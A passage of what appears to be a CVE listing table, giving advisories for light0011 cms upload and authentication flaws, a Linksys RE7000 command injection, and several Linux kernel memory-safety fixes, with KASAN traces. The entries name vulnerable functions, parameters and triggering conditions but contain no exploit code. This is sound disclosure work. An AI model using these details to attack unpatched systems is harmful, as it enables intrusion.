&lt;td class=&quot;vendor-product&quot;&gt;light0011--cms&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. Affected by this issue is the function Upload::upload of the file ThinkPHP/Library/Think/Upload.class.php. Performing a manipulation results in unrestricted upload. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86305&quot; target=&quot;_blank&quot;&gt;CVE-2026-86305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;light0011--cms&lt;/td&gt;
&lt;td&gt;A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This affects an unknown part of the file App/Home/Model/UserModel.class.php of the component Cookie Helper. Executing a manipulation of the argument Username can lead to improper authentication. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86306&quot; target=&quot;_blank&quot;&gt;CVE-2026-86306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linksys--RE7000&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platform_event_pingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack can be launched remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86299&quot; target=&quot;_blank&quot;&gt;CVE-2026-86299&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in oplock break notification smb2_oplock_break_noti() reads opinfo-&amp;gt;conn without any lock and dereferences it after two allocations which may sleep. When the durable handle owning the oplock is disconnected, session_fd_check() clears opinfo-&amp;gt;conn and drops its conn reference under ci-&amp;gt;m_lock, and the last ksmbd_conn_put() frees the connection. A break triggered by another connection that races with the teardown can then resurrect the freed connection: ksmbd_conn_get() is a plain atomic_inc, and the queued break work later dereferences the stale conn via ksmbd_conn_write(), a use-after-free reachable by any authenticated client holding a durable batch oplock. Thread the caller&#039;s inode into the notification path instead of taking a new reference on it. Every caller of oplock_break() already holds a live ksmbd_file (or an explicit ksmbd_inode_lookup_lock() reference, in the parent lease break paths) on the inode that owns the break target&#039;s oplock list, so ci cannot be freed during the call, and its lock can be taken without dereferencing opinfo-&amp;gt;o_fp, which a concurrent close may free. Select and pin the connection under ci-&amp;gt;m_lock, the same lock session_fd_check() and ksmbd_reopen_durable_fd() use to update opinfo-&amp;gt;conn, so a concurrent detach either loses the race to the clear or keeps the connection alive until the notification work releases it. Transfer the reference to the work item and release it on allocation failures.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80926&quot; target=&quot;_blank&quot;&gt;CVE-2026-80926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: iaa - unmap dst before software fallback on decompress On a hardware analytics error, decompress retries through the software fallback, which writes req-&amp;gt;dst with the CPU while it is still mapped DMA_FROM_DEVICE. With SWIOTLB active the later dma_unmap_sg() copies the stale bounce buffer over req-&amp;gt;dst, corrupting the result. Unmap before the fallback runs. The async path unmaps inline; the sync path signals the retry with -EAGAIN so iaa_comp_adecompress() runs the fallback after unmapping.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80945&quot; target=&quot;_blank&quot;&gt;CVE-2026-80945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: seg6: reset IP6CB after IPv6 decapsulation decap_and_validate() pulls the outer SRv6 headers and makes the inner packet the skb network header. The IPv6 control block still contains values collected while parsing the outer packet, including nhoff and extension-header flags. End.DX6 and End.DT6 route the inner IPv6 packet directly to the IPv6 input path. An unprivileged user can reach End.DT6 from a user and net namespace by installing a local SID and injecting an outer packet with Hop-by-Hop and Destination Options headers followed by an SRH and a minimal inner IPv6 packet. The outer extension headers leave a large nhoff in IP6CB. After decapsulation, ip6_protocol_deliver_rcu() uses that stale offset on the inner packet and reads beyond the skb head. KASAN reports: BUG: KASAN: slab-out-of-bounds in ip6_protocol_deliver_rcu ip6_protocol_deliver_rcu+0x1118/0x1450 ip6_input_finish+0x11b/0x240 seg6_local_input_core+0xed/0x2e0 lwtunnel_input+0x1e9/0x4e0 ipv6_rthdr_rcv+0x525f/0x6c50 ip6_protocol_deliver_rcu+0xcb7/0x1450 Before clearing IP6CB for an inner IPv6 packet, save its incoming interface index and L3 slave state. Restore both after the clear and set nhoff to the inner IPv6 base-header nexthdr field. Use IP6CB(skb)-&amp;gt;iif rather than skb-&amp;gt;skb_iif because VRF processing can replace skb_iif with the L3 master while IP6CB keeps the receiving interface. Preserve IP6SKB_L3SLAVE for the same reason.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80976&quot; target=&quot;_blank&quot;&gt;CVE-2026-80976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: stop killed, freed and out_of_sync sharing a byte The three connection state flags are single-bit bitfields, so they occupy one byte of struct smc_connection and every store to one is a read-modify-write of the other two: u8 killed : 1; u8 freed : 1; u8 out_of_sync : 1; They are not written under a common lock. smc_cdc_msg_validate() sets out_of_sync from the receive tasklet, while smc_conn_kill() sets killed from process context under lock_sock(), and the receive path does not defer to the backlog when the socket is owned -- smc_cdc_msg_recv() takes only bh_lock_sock(). Give each flag its own byte so a store no longer touches its neighbours. All readers test them as booleans and are unchanged. struct smc_connection grows by two bytes.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80980&quot; target=&quot;_blank&quot;&gt;CVE-2026-80980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: fix use-after-free of the LLC qentry in smc_llc_srv_add_link() smc_llc_srv_add_link() keeps add_llc pointing into the queue entry: add_llc = &amp;amp;qentry-&amp;gt;msg.add_link; smc_llc.c:1482 ... smc_llc_save_add_link_info(link_new, add_llc); smc_llc.c:1494 smc_llc_flow_qentry_del(&amp;amp;lgr-&amp;gt;llc_flow_lcl); smc_llc.c:1495 ... u8 *llc_msg = smc_link_shared_v2_rxbuf(link) ? (u8 *)lgr-&amp;gt;wr_rx_buf_v2 : (u8 *)add_llc; smc_llc.c:1504 smc_llc_save_add_link_rkeys(link, link_new, llc_msg); smc_llc.c:1506 smc_llc_flow_qentry_del() kfree()s the entry, so on a link without a shared v2 receive buffer the pointer handed to smc_llc_save_add_link_rkeys() is already freed. Before the Fixes: commit that branch always used lgr-&amp;gt;wr_rx_buf_v2 and add_llc was not used after the free. Reproduced on an unpatched tree over rxe, with KASAN, kasan_multi_shot and a link forced to max_recv_sge == 1: the entry is freed and read by the same call, and the freeing frame is smc_llc_srv_add_link() itself. [ 2.523161] BUG: KASAN: slab-use-after-free in smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.523499] Read of size 2 at addr ffff8880052194de by task kworker/0:1/11 [ 2.523789] [ 2.523862] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 7.2.0-rc5-p0-g2c9dd296545d #35 PREEMPT(lazy) [ 2.523865] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 2.523866] Workqueue: smc_hs_wq smc_listen_work [ 2.523869] Call Trace: [ 2.523870] &amp;lt;TASK&amp;gt; [ 2.523871] dump_stack_lvl+0x53/0x70 [ 2.523872] print_report+0xd0/0x630 [ 2.523874] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 2.523876] ? smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.523878] kasan_report+0xce/0x100 [ 2.523879] ? smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.523881] smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.523883] ? smcr_buf_reg_lgr+0x2a4/0x660 [ 2.523885] smc_llc_srv_add_link+0xaa2/0x1e50 [ 2.523888] ? _printk+0xba/0xf0 [ 2.523897] ? __pfx_smc_llc_srv_add_link+0x10/0x10 [ 2.523899] ? down_write+0xb0/0x130 [ 2.523903] ? __pfx_down_write+0x10/0x10 [ 2.523905] smc_listen_work+0x489e/0x4d00 [ 2.523907] ? kmem_cache_free+0x1c6/0x3a0 [ 2.523911] ? __pfx_smc_listen_work+0x10/0x10 [ 2.523913] ? release_sock+0x148/0x1d0 [ 2.523915] ? smc_tcp_listen_work+0xb4f/0xfc0 [ 2.523917] ? _raw_spin_lock_irq+0x80/0xe0 [ 2.523918] ? __pfx__raw_spin_lock_irq+0x10/0x10 [ 2.523920] process_one_work+0x633/0x1030 [ 2.523922] ? assign_work+0x11d/0x370 [ 2.523924] worker_thread+0x45b/0xd10 [ 2.523926] ? __pfx_worker_thread+0x10/0x10 [ 2.523928] ? __pfx_worker_thread+0x10/0x10 [ 2.523929] kthread+0x2c6/0x3b0 [ 2.523931] ? recalc_sigpending+0x15c/0x1e0 [ 2.523934] ? __pfx_kthread+0x10/0x10 [ 2.523935] ret_from_fork+0x36e/0x5a0 [ 2.523937] ? __pfx_ret_from_fork+0x10/0x10 [ 2.523938] ? __switch_to+0x572/0xdd0 [ 2.523943] ? __pfx_kthread+0x10/0x10 [ 2.523944] ret_from_fork_asm+0x1a/0x30 [ 2.523947] &amp;lt;/TASK&amp;gt; [ 2.523948] [ 2.531253] Allocated by task 48: [ 2.531399] kasan_save_stack+0x33/0x60 [ 2.531570] kasan_save_track+0x14/0x30 [ 2.531737] __kasan_kmalloc+0x8f/0xa0 [ 2.531905] __kmalloc_cache_noprof+0x158/0x370 [ 2.532100] smc_llc_enqueue+0x72/0x560 [ 2.532268] smc_wr_rx_tasklet_fn+0x474/0xa80 [ 2.532491] tasklet_action_common+0x20f/0x8a0 [ 2.532714] handle_softirqs+0x18e/0x590 [ 2.532886] do_softirq+0x3b/0x60 [ 2.533036] __local_bh_enable_ip+0x61/0x70 [ 2.533221] __alloc_skb+0x732/0x890 [ 2.533384] rxe_init_packet+0x16b/0x4f0 [ 2.533567] prepare_ack_packet+0xb8/0x830 [ 2.533760] rxe_receiver+0x495/0x96e0 [ 2.533933] do_work+0x144/0x470 [ 2 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80981&quot; target=&quot;_blank&quot;&gt;CVE-2026-80981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: bound the peer rkey counts in SMC-Rv2 LLC messages On a link whose device has max_recv_sge == 1 there is no shared v2 receive buffer, and smc_llc_save_add_link_rkeys() takes the v2 extension from 44 bytes past the start of the queue entry&#039;s inline message: ext = (struct smc_llc_msg_add_link_v2_ext *)(llc_msg + SMC_WR_TX_SIZE); The entry is a 72-byte allocation and the extension starts at offset 68, so ext-&amp;gt;num_rkeys at offset 94 is already past it. This happens on every SMC-Rv2 link addition, whatever the peer sends: [ 2.490065] BUG: KASAN: slab-out-of-bounds in smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.490431] Read of size 2 at addr ffff8880056406de by task smctest/106 [ 2.490709] [ 2.490792] CPU: 0 UID: 0 PID: 106 Comm: smctest Not tainted 7.2.0-rc5-p1-g77a5d9d9c99f #32 PREEMPT(lazy) [ 2.490795] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 2.490798] Call Trace: [ 2.490803] &amp;lt;TASK&amp;gt; [ 2.490805] dump_stack_lvl+0x53/0x70 [ 2.490810] print_report+0xd0/0x630 [ 2.490828] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 2.490832] ? smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.490834] kasan_report+0xce/0x100 [ 2.490836] ? smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.490837] smc_llc_save_add_link_rkeys+0x333/0x350 [ 2.490839] ? smcr_buf_map_lgr+0x1bf/0x2b0 [ 2.490844] smc_llc_cli_add_link+0xca7/0x1e80 [ 2.490848] ? smc_llc_wait+0x355/0x810 [ 2.490850] ? __pfx_smc_llc_wait+0x10/0x10 [ 2.490851] ? __pfx_smc_llc_cli_add_link+0x10/0x10 [ 2.490853] ? __pfx_autoremove_wake_function+0x10/0x10 [ 2.490863] __smc_connect+0x3f5c/0x4980 [ 2.490873] ? __pfx_kernel_connect+0x10/0x10 [ 2.490888] ? __pfx___smc_connect+0x10/0x10 [ 2.490891] ? release_sock+0x148/0x1d0 [ 2.490894] smc_connect+0x42c/0x580 [ 2.490896] __sys_connect+0xfc/0x130 [ 2.490898] ? __pfx___sys_connect+0x10/0x10 [ 2.490900] ? handle_mm_fault+0x1a1/0x430 [ 2.490908] __x64_sys_connect+0x6d/0xb0 [ 2.490909] ? fpregs_assert_state_consistent+0x56/0xe0 [ 2.490917] do_syscall_64+0xf9/0x540 [ 2.490921] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 2.490924] RIP: 0033:0x421bb4 [ 2.490927] Code: ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d ad 34 09 00 00 74 13 b8 2a 00 00 00 0f 05 &amp;lt;48&amp;gt; 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 10 89 55 [ 2.490929] RSP: 002b:00007ffd473b01a8 EFLAGS: 00000202 ORIG_RAX: 000000000000002a [ 2.490935] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000421bb4 [ 2.490936] RDX: 0000000000000010 RSI: 00007ffd473b01d0 RDI: 0000000000000003 [ 2.490937] RBP: 0000000000003930 R08: 0000000000000004 R09: 0000000000000000 [ 2.490938] R10: 00007ffd473b0f98 R11: 0000000000000202 R12: 0000000000000006 [ 2.490939] R13: 00007ffd473b0f87 R14: 0000000000000003 R15: 00007ffd473b0f90 [ 2.490940] &amp;lt;/TASK&amp;gt; [ 2.490941] [ 2.499545] Allocated by task 44: [ 2.499693] kasan_save_stack+0x33/0x60 [ 2.499860] kasan_save_track+0x14/0x30 [ 2.500026] __kasan_kmalloc+0x8f/0xa0 [ 2.500190] __kmalloc_cache_noprof+0x158/0x370 [ 2.500393] smc_llc_enqueue+0x72/0x560 [ 2.500559] smc_wr_rx_tasklet_fn+0x474/0xa80 [ 2.500747] tasklet_action_common+0x20f/0x8a0 [ 2.500945] handle_softirqs+0x18e/0x590 [ 2.501115] do_softirq+0x3b/0x60 [ 2.501266] __local_bh_enable_ip+0x61/0x70 [ 2.501446] __alloc_skb+0x732/0x890 [ 2.501604] rxe_init_packet+0x16b/0x4f0 [ 2.501783] prepare_ack_packet+0xb8/0x830 [ 2.501962] rxe_receiver+0x495/0x96e0 [ 2.502125] do_work+0x144/0x470 [ 2.502269] process_one_work+0x633/0x1030 [ 2.502450] worker_thread+0x45b/0xd10 [ 2.50261 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80986&quot; target=&quot;_blank&quot;&gt;CVE-2026-80986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xdp: fix zero-copy frame layout xdp_convert_zc_to_xdp_frame() clones an XSK packet into an order-0 page and advertises PAGE_SIZE as its frame size. It allows the copied frame to occupy the page tail needed by skb_shared_info and records zero headroom even when metadata separates the frame header from packet data. An AF_XDP zero-copy packet redirected through cpumap can therefore make the skb overlap skb_shared_info or place it beyond the allocated page. Limit the copied layout to SKB_WITH_OVERHEAD(PAGE_SIZE) and include the metadata length in frame headroom. Redirect callers already handle a NULL conversion result. BUG: KASAN: slab-out-of-bounds in skb_gro_receive Write of size 4 at addr ffff88800cf37004 by task cpumap/1/map:1/146 Call Trace: skb_gro_receive (net/core/gro.c:174) udp_gro_receive (net/ipv4/udp_offload.c:812) inet_gro_receive (net/ipv4/af_inet.c:1539) dev_gro_receive (net/core/gro.c:515) gro_receive_skb (net/core/gro.c:633) cpu_map_kthread_run (kernel/bpf/cpumap.c:395) kthread (kernel/kthread.c:436) ret_from_fork (arch/x86/kernel/process.c:164) ret_from_fork_asm (arch/x86/entry/entry_64.S:255) Kernel panic - not syncing: KASAN: panic_on_warn set ...&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81002&quot; target=&quot;_blank&quot;&gt;CVE-2026-81002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Force requesting ACS when tboot is enabled Currently the conditions of requesting ACS in detect_intel_iommu() don&#039;t include tboot, leading to a possible misconfiguration with ACS disabled (e.g. due to user opts) while iommu is later forced on by tboot_force_iommu(). Fix it by checking tboot in detect_intel_iommu().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89448&quot; target=&quot;_blank&quot;&gt;CVE-2026-89448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sctp: drop a chunk if its transport was removed sctp_rcv() resolves the transport once per packet and leaves it in chunk-&amp;gt;transport. The lookup reference, or the one sctp_add_backlog() takes if the socket is owned by userspace, keeps it around until the chunk has been processed. An authenticated ASCONF DEL-IP can remove it in the meantime. sctp_assoc_rm_peer() takes the transport out of the association and calls sctp_transport_free(), which tags it dead and drops the reference the association held. There is a window on both paths: the packet can sit on the socket backlog, and on the direct path the lookup completes before bh_lock_sock(). The DATA chunk in that packet puts the removed transport back into asoc-&amp;gt;peer.last_data_from. Once the packet is done that reference goes away and the transport is freed by RCU, so the next delayed SACK carries the pointer into the SACK chunk and sctp_outq_select_transport() reads the freed transport&#039;s state. Drop the chunk in sctp_inq_push(), next to the existing rcvr-&amp;gt;dead check. Both paths reach it with the association&#039;s socket lock held. The peer retransmits it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89478&quot; target=&quot;_blank&quot;&gt;CVE-2026-89478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sctp: stop processing a packet once its association is deleted sctp_endpoint_bh_rcv() looks the association up only when chunk-&amp;gt;asoc is NULL, and caches the result in chunk-&amp;gt;asoc and chunk-&amp;gt;transport without taking a reference. A packet that matches no association is handed to the endpoint, so a peer can bundle COOKIE ECHO, SHUTDOWN and SHUTDOWN ACK in one packet. The COOKIE ECHO creates the association, the SHUTDOWN chunk caches it, and with the outqueue empty the SHUTDOWN ACK reaches sctp_sf_do_9_2_final(), so the association and its transports are freed. The endpoint loop has no counterpart to the asoc-&amp;gt;base.dead check in sctp_assoc_bh_rcv(). The next chunk writes to last_time_heard in the freed transport and is then passed to sctp_do_sm() with the freed association. The transport is freed through RCU, so this needs the packet to come off the socket backlog, where the loop runs in task context. The endpoint loop cannot do the same check: it holds no reference on the association, so reading asoc-&amp;gt;base.dead would itself be a use-after-free. Mark the packet for discard in the command interpreter, just before it deletes the association. That is also before sctp_inq_free() releases the chunk on the association receive path. sctp_sf_do_5_2_4_dupcook() issues SCTP_CMD_DELETE_TCB for the temporary association, while the one the packet belongs to stays alive. A restarting peer can bundle DATA behind its COOKIE ECHO, so compare against chunk-&amp;gt;asoc and leave that case alone.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89479&quot; target=&quot;_blank&quot;&gt;CVE-2026-89479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: do not accept C2HData based on blk_rq_payload_bytes() alone Commit 25e5cb780e62 (&quot;nvme-tcp: fix possible crash in write_zeroes processing&quot;) established that blk_rq_payload_bytes() must not be read without first checking blk_rq_nr_phys_segments(), and recorded the result in nvme_tcp_setup_cmd_pdu() as req-&amp;gt;data_len. The receive side was left as it was. The two differ for REQ_OP_WRITE_ZEROES, which has no physical segments but a non-zero blk_rq_bytes(), so setup leaves req-&amp;gt;iter untouched while the receive gate lets a C2HData through and nvme_tcp_recv_data() copies into whatever the previous command on that tag left there. The driver-private area is zeroed only when the tag set is allocated. Reproduced with a test target that leaves a residual iterator on a tag and then sends a C2HData for a WRITE_ZEROES command on the same tag: BUG: KASAN: wild-memory-access in _copy_to_iter+0x642/0x1330 Write of size 512 at addr ffe728c2175dfa81 by task kworker/0:1H/103 CPU: 0 UID: 0 PID: 103 Comm: kworker/0:1H Not tainted 7.2.0-rc5-NVMETCP-gf5098b6bae76 #1 PREEMPT(lazy) Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Workqueue: nvme_tcp_wq nvme_tcp_io_work Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0x53/0x70 kasan_report+0xce/0x100 ? _copy_to_iter+0x642/0x1330 kasan_check_range+0x105/0x1b0 __asan_memcpy+0x3c/0x60 _copy_to_iter+0x642/0x1330 ? __pfx_sock_has_perm+0x10/0x10 ? worker_thread+0x45b/0xd10 ? __pfx__copy_to_iter+0x10/0x10 ? _raw_spin_lock_bh+0x83/0xe0 ? __pfx__raw_spin_lock_bh+0x10/0x10 __skb_datagram_iter+0xf3/0x820 ? __pfx_simple_copy_to_iter+0x10/0x10 ? __asan_memcpy+0x3c/0x60 ? skb_copy_bits+0x58d/0x830 skb_copy_datagram_iter+0x37/0x120 nvme_tcp_recv_skb+0xa07/0x4320 ? __pfx_nvme_tcp_recv_skb+0x10/0x10 __tcp_read_sock+0x1ab/0x810 ? __pfx_nvme_tcp_recv_skb+0x10/0x10 ? __pfx_lock_sock_nested+0x10/0x10 ? __pfx___tcp_read_sock+0x10/0x10 nvme_tcp_try_recv+0x152/0x1e0 ? __pfx_nvme_tcp_try_recv+0x10/0x10 ? __pfx_mutex_unlock+0x10/0x10 nvme_tcp_io_work+0x1e4/0x6c0 ? __schedule+0x181a/0x49f0 ? __pfx_nvme_tcp_io_work+0x10/0x10 process_one_work+0x633/0x1030 Keep the blk_rq_payload_bytes() test and add req-&amp;gt;data_len to it. The old test is what rejects a C2HData naming a tag that is no longer in flight, because blk_update_request() zeroes rq-&amp;gt;__data_len on completion; req-&amp;gt;data_len and req-&amp;gt;curr_bio are driver-private and survive completion, so they cannot stand in for it. Setup initialises the iterator only when both req-&amp;gt;curr_bio and req-&amp;gt;data_len are set, so the gate now tests the same two.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89482&quot; target=&quot;_blank&quot;&gt;CVE-2026-89482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: lockd: pin next file across nlm_inspect_file lock-drop nlm_traverse_files() pins the current file with f_count++ across a mutex_unlock for nlm_inspect_file(), but nothing pins the saved next pointer. A concurrent nlm_release_file() can kfree the next file during the unlock window, and the iterator dereferences freed memory on the next loop step. Pin both current and next before the lock-drop. Advance by swapping the pinned cursors at the end of each iteration so next is always held alive across the unlock. Always call nlm_file_release() after dropping the iteration pin, regardless of whether the file matched the predicate. Use nlm_file_inuse(), which does a live walk of the inode lock list, rather than the cached f_locks field, so skipped files that never ran nlm_inspect_file() are evaluated correctly. Because every file in a hash bucket is now pinned and released, files skipped by the is_failover_file predicate that have no locks, blocks, shares, or external references are deleted during traversal. The old code never evaluated skipped files for cleanup. The new behavior is intentional: such files are stale and should not persist in the table.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89485&quot; target=&quot;_blank&quot;&gt;CVE-2026-89485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate directory-index entry counts when reading metadata ocfs2_validate_dx_leaf() and ocfs2_validate_dx_root() check the ECC and signature of an indexed-directory block before it reaches higher-level callers, but neither validator bounds the ocfs2_dx_entry_list counts against the capacity of the block that holds them. ocfs2_dx_dir_search() then walks for (i = 0; i &amp;lt; le16_to_cpu(entry_list-&amp;gt;de_num_used); i++) dx_entry = &amp;amp;entry_list-&amp;gt;de_entries[i]; over de_num_used entries with no bounds check. entry_list is either dx_leaf-&amp;gt;dl_list (from ocfs2_read_dx_leaf) or, for an inline root, dx_root-&amp;gt;dr_entries. A crafted on-disk image can set de_num_used (and de_count, which is the __counted_by_le() bound of de_entries) to 0xffff and make the walk read far past the end of the 4KB metadata block, giving a slab out-of-bounds read reachable from any path lookup, stat() or open() on an indexed directory once the image is mounted. Commit 775c17386a6f (&quot;ocfs2: validate dx_root extent list fields during block read&quot;) already bounds dr_list for the non-inline dx_root, but left the inline dr_entries path and the dx_leaf dl_list unchecked. Add the same read-time validation for both entry lists: de_count must equal the capacity of the block (ocfs2_dx_entries_per_leaf()/per_root()) and de_num_used must not exceed de_count, rejecting corrupted metadata with -EFSCORRUPTED before ocfs2_dx_dir_search() can walk an out-of-range entry array. de_count is always written as exactly the block capacity when a leaf or inline root is formatted, so the equality check does not reject any valid image. Found by 0sec automated security-research tooling (https://0sec.ai).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89492&quot; target=&quot;_blank&quot;&gt;CVE-2026-89492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
